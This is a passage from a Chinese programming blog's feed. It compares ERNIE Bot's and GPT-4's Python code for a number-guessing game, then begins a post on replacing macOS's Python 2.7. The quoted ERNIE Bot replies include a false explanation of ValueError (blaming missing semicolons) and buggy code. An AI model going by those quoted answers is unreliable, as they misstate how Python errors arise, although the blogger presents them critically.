    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;很遗憾，你只猜对了2次。我想的数字是&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;在这个代码中，我们首先使用Python的random模块生成一个1到100之间的随机整数作为答案。然后，我们使用一个while循环来让玩家最多猜3次。在每次循环中，我们让玩家输入一个猜测的数字，并将猜测次数加1。然后，我们根据猜测的数字与答案的大小关系，给出相应的提示。如果玩家猜对了，我们输出恭喜信息并结束循环。如果玩家猜错了，我们根据猜测次数的不同，给出相应的提示并继续循环。如果玩家猜对了3次，我们输出很遗憾的信息并结束循环。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;看起来还不错，代码能正常运行，还提供了代码解释&lt;/p&gt;
&lt;p&gt;不过这段代码其实还不完善，没有对用户输入的内容做合法性校验，比如输入一个非数字“a”，就会报ValueError的错误。&lt;/p&gt;
&lt;p&gt;继续问：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;如果用户输入的不是数字怎么办
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;回答：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;如果用户输入的不是数字，程序会提示用户重新输入。如果用户重新输入的是数字，程序会继续执行，否则会提示用户输入的不是数字。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;有点像我在面试一个实习生，虽然能回答我，但并不是我期望的结果，因为输入非数字程序早就异常终止了，咋还重新输。&lt;/p&gt;
&lt;p&gt;继续问：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;我运行该代码的时候报ValueError的错误，如何修复这个bug
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;我直接告诉它会报ValueError错误，看看它是否可以自己修复代码&lt;/p&gt;
&lt;p&gt;回答：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;如果您在运行代码时遇到ValueError错误，可能是因为您在代码中使用了错误的输入或者代码中存在语法错误。以下是一些可能导致ValueError错误的原因和解决方法：
1. 输入不是数字：如果您在代码中使用了非数字输入，例如文本输入或者命令行参数，程序会抛出ValueError错误。您可以在代码中添加一些输入验证来确保用户输入的是数字。
2. 语法错误：如果您的代码中存在语法错误，例如缺少分号、缺少括号等，程序也会抛出ValueError错误。您可以检查代码中的语法错误并进行修正。
3. 数据类型不匹配：如果您在代码中使用了不匹配的数据类型，例如将整数类型的变量赋值给浮点数类型的变量，程序也会抛出ValueError错误。您可以检查代码中的数据类型是否匹配，并进行相应的修正。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;感觉文心一言联系上下文追问的能力非常弱，到这里它完全忘记我之前问的什么问题了。&lt;/p&gt;
&lt;p&gt;为了进一步测试它的效果，我只能重新建一个对话了。&lt;/p&gt;
&lt;p&gt;新问题：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;用python实现一个猜数字的游戏，数字限制在10到20之间，并对用户输入的内容做合法性校验，最多3次机会
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;我加了两个条件，1、数字范围限制 2、输入合法性校验&lt;/p&gt;
&lt;p&gt;回答：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt;  

&lt;span class="c1"&gt;# 生成随机数字  &lt;/span&gt;
&lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  

&lt;span class="c1"&gt;# 初始化猜测次数  &lt;/span&gt;
&lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;  

&lt;span class="c1"&gt;# 循环猜数字  &lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
    &lt;span class="c1"&gt;# 获取用户猜测的数字  &lt;/span&gt;
    &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;请猜一个 10 到 20 之间的数字：&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  

    &lt;span class="c1"&gt;# 校验猜测的数字是否合法  &lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;猜的数字太小了，请再试一次。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;猜的数字太大了，请再试一次。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;恭喜你，猜对了！你用了 &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt; 次机会。&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
        &lt;span class="k"&gt;break&lt;/span&gt;  

    &lt;span class="c1"&gt;# 增加猜测次数  &lt;/span&gt;
    &lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;  

&lt;span class="c1"&gt;# 如果猜测次数达到了最大限制，提示用户失败  &lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;很遗憾，你没有在 3 次机会内猜对数字。正确答案是 &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;。&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;第一个需求实现了，第二个需求还是没有实现，不知道百度训练的数据是不是都是从CSDN爬过来的。&lt;/p&gt;
&lt;p&gt;最后对比下ChatGPT会是怎样？这是基于GPT4模型生成的答案&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_valid_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isdigit&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guess_number_game&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;target_number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;attempts_left&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;attempts_left&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;user_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;猜一个10到20之间的数字（你还有&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;attempts_left&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;次机会）: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;is_valid_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;输入无效，请输入一个10到20之间的整数。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="n"&gt;user_number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;attempts_left&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_number&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;target_number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;恭喜你，猜对了！&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;user_number&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;target_number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;猜测的数字太小了。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;猜测的数字太大了。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;attempts_left&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;很遗憾，你没有猜对。正确的数字是 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target_number&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;guess_number_game&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;对比来看，你会发现文言一心更像是一个实习生写的代码，而ChatGPT把核心逻辑用一个函数封装出来了，另外对用户输入的参数也用了一个独立的函数封装，一个函数只做一件事，代码非常干净，变量名也很到位。&lt;/p&gt;
&lt;p&gt;你不得不感叹ChatGPT写的代码封装能力不亚于一个3年以上的工程师水平。&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>如何删除macOS系统默认的Python2.7并替换成最新版python3.11</title><link href="https://foofish.net/replace-python2_7-with-python3_11-on-macos.html" rel="alternate"/><published>2023-04-15T19:44:01+08:00</published><updated>2023-04-15T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-15:/replace-python2_7-with-python3_11-on-macos.html</id><summary type="html">&lt;p&gt;MacBook 自带的Python版本是Python2.7，可这个版本早就被淘汰了。我想彻底删除它&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;python&lt;/span&gt;
&lt;span class="nv"&gt;Python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;.&lt;span class="mi"&gt;7&lt;/span&gt;.&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Nov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;:&lt;span class="mi"&gt;24&lt;/span&gt;:&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;
[&lt;span class="nv"&gt;GCC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;.&lt;span class="mi"&gt;2&lt;/span&gt;.&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Compatible&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Apple&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LLVM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;.&lt;span class="mi"&gt;0&lt;/span&gt;.&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;clang&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;.&lt;span class="mi"&gt;11&lt;/span&gt;.&lt;span class="mi"&gt;45 …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;MacBook 自带的Python版本是Python2.7，可这个版本早就被淘汰了。我想彻底删除它&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;python&lt;/span&gt;
&lt;span class="nv"&gt;Python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;.&lt;span class="mi"&gt;7&lt;/span&gt;.&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Nov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;:&lt;span class="mi"&gt;24&lt;/span&gt;:&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;
[&lt;span class="nv"&gt;GCC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;.&lt;span class="mi"&gt;2&lt;/span&gt;.&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Compatible&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Apple&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;LLVM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;.&lt;span class="mi"&gt;0&lt;/span&gt;.&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;clang&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;.&lt;span class="mi"&gt;11&lt;/span&gt;.&lt;span class="mi"&gt;45&lt;/span&gt;.&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;]&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;darwin&lt;/span&gt;
&lt;span class="nv"&gt;Type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;help&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;copyright&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;credits&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;license&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;more&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;information&lt;/span&gt;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;在终端输入python，显示版本是Python 2.7.15&lt;/p&gt;
&lt;p&gt;再看python命令在什么位置 &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;~&lt;span class="w"&gt; &lt;/span&gt;where&lt;span class="w"&gt; &lt;/span&gt;python
/usr/local/bin/python
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;注意该路径其实是一个软链接（类似于Windows系统的快捷方式），通过&lt;code&gt;ls&lt;/code&gt;命令查看真实路径是在哪&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;查到python2.7的真实路径是&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;不只是python这一个命令有设置了软连接，其实还有好多命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;grep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;
&lt;span class="n"&gt;lrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wuchangfang&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2021&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span 